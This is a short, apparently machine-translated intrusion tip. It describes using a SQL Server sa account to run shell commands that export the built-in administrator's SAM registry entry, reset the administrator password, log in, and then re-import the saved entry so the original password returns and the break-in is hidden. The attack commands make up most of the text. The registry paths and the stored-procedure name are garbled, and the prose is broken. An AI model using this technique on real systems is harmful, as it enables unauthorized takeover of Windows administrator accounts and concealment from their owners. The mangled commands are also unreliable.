Export the Administrator Password File

Source: Red Wolf

Sa can read the sam key by default. It should.
Reg export HKLMSAMSAMDomainsAccountUsers00001F4 c: old. reg
Net user administrator test
Log in with administrator.
After the machine is used up
Reg import c: old. reg
No cloning is required.
Find the corresponding sid.

/* No FOX: this experience is very good. I did not expect this to happen once I did penetration!

By default, sa inherits the system permission and has full control over the sam key value.

SQL code
Exec master .. xp_mongoshell "reg export HKLMSAMSAMDomainsAccountUsers00001F4 c: old. reg "--
Or

SQL code
Exec master .. xp_mongoshell "regedit-e C: 1.reg HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers00001F4 "--
All are feasible.